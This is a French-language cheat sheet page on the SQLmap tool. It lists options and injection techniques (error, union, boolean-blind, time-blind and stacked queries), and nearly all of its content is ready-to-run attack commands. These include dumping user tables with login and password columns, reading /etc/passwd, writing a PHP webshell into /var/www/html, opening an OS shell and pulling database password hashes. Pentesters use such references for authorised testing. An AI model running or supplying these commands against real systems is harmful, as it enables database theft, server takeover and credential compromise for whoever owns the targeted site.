Aller au contenu

Outils

SQLmap

SQLmap est un outil open-source d'automatisation de la détection et de l'exploitation des vulnérabilités d'injection SQL. Il prend en charge de nombreux SGBD (MySQL, PostgreSQL, MSSQL, Oracle, SQLite…) et permet, une fois une injection confirmée, d'extraire des données, lire/écrire des fichiers ou même obtenir un shell sur le serveur.

Bonne pratique : Capturer la requête HTTP avec Burp Suite et la sauvegarder dans un fichier request.txt. SQLmap peut la rejouer directement avec -r request.txt, ce qui évite de reconstituer les headers/cookies à la main et garantit une requête authentique.


Syntaxe de base

sqlmap -r request.txt [options]

Options principales

Option Description
-r <fichier> Requête HTTP depuis un fichier (Burp)
-u <URL> URL cible (alternative à -r)
-p <param> Paramètre à tester spécifiquement
--level <1-5> Profondeur des tests (défaut : 1)
--risk <1-3> Risque des payloads (défaut : 1)
--technique <BEUSTQ> Forcer un type d'injection (voir ci-dessous)
--dbms <dbms> Forcer le SGBD cible
--batch Répondre automatiquement aux questions
--threads <n> Nombre de threads parallèles
--proxy <url> Proxy (ex : Burp Suite)
--dbs Lister les bases de données
--tables Lister les tables
--columns Lister les colonnes
--dump Extraire les données
--os-shell Tenter d'obtenir un shell OS

Lettres pour --technique :

Lettre Type
B Boolean-based blind
E Error-based
U Union-based
S Stacked queries
T Time-based blind
Q Inline queries

Types d'injection

Error-Based

L'application retourne des messages d'erreur SQL visibles dans la réponse. Ces erreurs révèlent des informations sur la structure de la base. C'est la technique la plus directe : le résultat de la requête injectée remonte dans le corps de la réponse HTTP via l'erreur elle-même.

sqlmap -r request.txt --technique=E --batch
# MySQL
sqlmap -r request.txt --technique=E --dbms=mysql --batch

# MSSQL
sqlmap -r request.txt --technique=E --dbms=mssql --batch

# PostgreSQL
sqlmap -r request.txt --technique=E --dbms=postgresql --batch
# Lister les bases
sqlmap -r request.txt --technique=E --dbs --batch

# Dump d'une table
sqlmap -r request.txt --technique=E -D nom_bdd -T utilisateurs --dump --batch
Union-Based

La clause UNION permet d'accoler une requête supplémentaire à la requête originale. Si le nombre de colonnes et les types de données correspondent, le résultat s'affiche directement dans la page. Prérequis : la page doit afficher au moins une valeur issue de la requête SQL.

sqlmap -r request.txt --technique=U --batch
sqlmap -r request.txt --technique=U --union-cols=3 --batch
# Lister les bases
sqlmap -r request.txt --technique=U --dbs --batch

# Dump d'une table
sqlmap -r request.txt --technique=U -D nom_bdd -T utilisateurs --dump --batch
Boolean-Based Blind

Aucun résultat ni erreur n'est visible — mais le comportement de la page change selon que la condition injectée est vraie ou fausse (ex : page normale vs page vide). SQLmap reconstruit les données bit par bit en posant des questions binaires à la base (AND 1=1, AND 1=2…). Lent mais très fiable.

sqlmap -r request.txt --technique=B --batch
# Accélérer avec plusieurs threads
sqlmap -r request.txt --technique=B --threads=10 --batch
# Lister les bases
sqlmap -r request.txt --technique=B --dbs --threads=10 --batch

# Dump d'une table
sqlmap -r request.txt --technique=B -D nom_bdd -T utilisateurs --dump --threads=10 --batch
Time-Based Blind

Similaire au boolean-based, mais sans différence visible dans la réponse : SQLmap induit des délais conditionnels (SLEEP(5) IF ...) et mesure le temps de réponse pour déduire si la condition est vraie ou fausse. Technique de dernier recours — très lente, augmenter --time-sec si le réseau est instable.

sqlmap -r request.txt --technique=T --batch
# Réduire le délai de référence (défaut : 5s)
sqlmap -r request.txt --technique=T --time-sec=3 --batch
# Lister les bases
sqlmap -r request.txt --technique=T --dbs --threads=5 --time-sec=3 --batch

# Dump ciblé
sqlmap -r request.txt --technique=T -D nom_bdd -T utilisateurs --dump --threads=5 --batch
Stacked Queries

Certains SGBD (MSSQL, PostgreSQL, parfois MySQL selon le connecteur) permettent d'enchaîner plusieurs requêtes séparées par ;. Cela permet d'exécuter des commandes arbitraires au-delà du simple SELECT : INSERT, UPDATE, EXEC… Technique particulièrement puissante pour pivoter vers un RCE.

sqlmap -r request.txt --technique=S --batch
# Lire un fichier sur le serveur
sqlmap -r request.txt --technique=S --file-read="/etc/passwd" --batch

# Écrire un webshell
sqlmap -r request.txt --technique=S --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
sqlmap -r request.txt --technique=S --os-shell --batch

Enumération et extraction

Une fois l'injection confirmée, enchaîner les étapes :

sqlmap -r request.txt --dbs --batch
sqlmap -r request.txt -D nom_bdd --tables --batch
sqlmap -r request.txt -D nom_bdd -T nom_table --columns --batch
# Table complète
sqlmap -r request.txt -D nom_bdd -T nom_table --dump --batch

# Colonnes ciblées
sqlmap -r request.txt -D nom_bdd -T utilisateurs -C "login,password" --dump --batch

Post-exploitation

# Nécessite FILE privilege ou xp_cmdshell (MSSQL)
sqlmap -r request.txt --os-shell --batch
# Lire un fichier sensible
sqlmap -r request.txt --file-read="/etc/passwd" --batch
# Vérifier les privilèges de l'utilisateur SQL courant
sqlmap -r request.txt --privileges --batch

# Récupérer les hashes des utilisateurs de la BDD
sqlmap -r request.txt --passwords --batch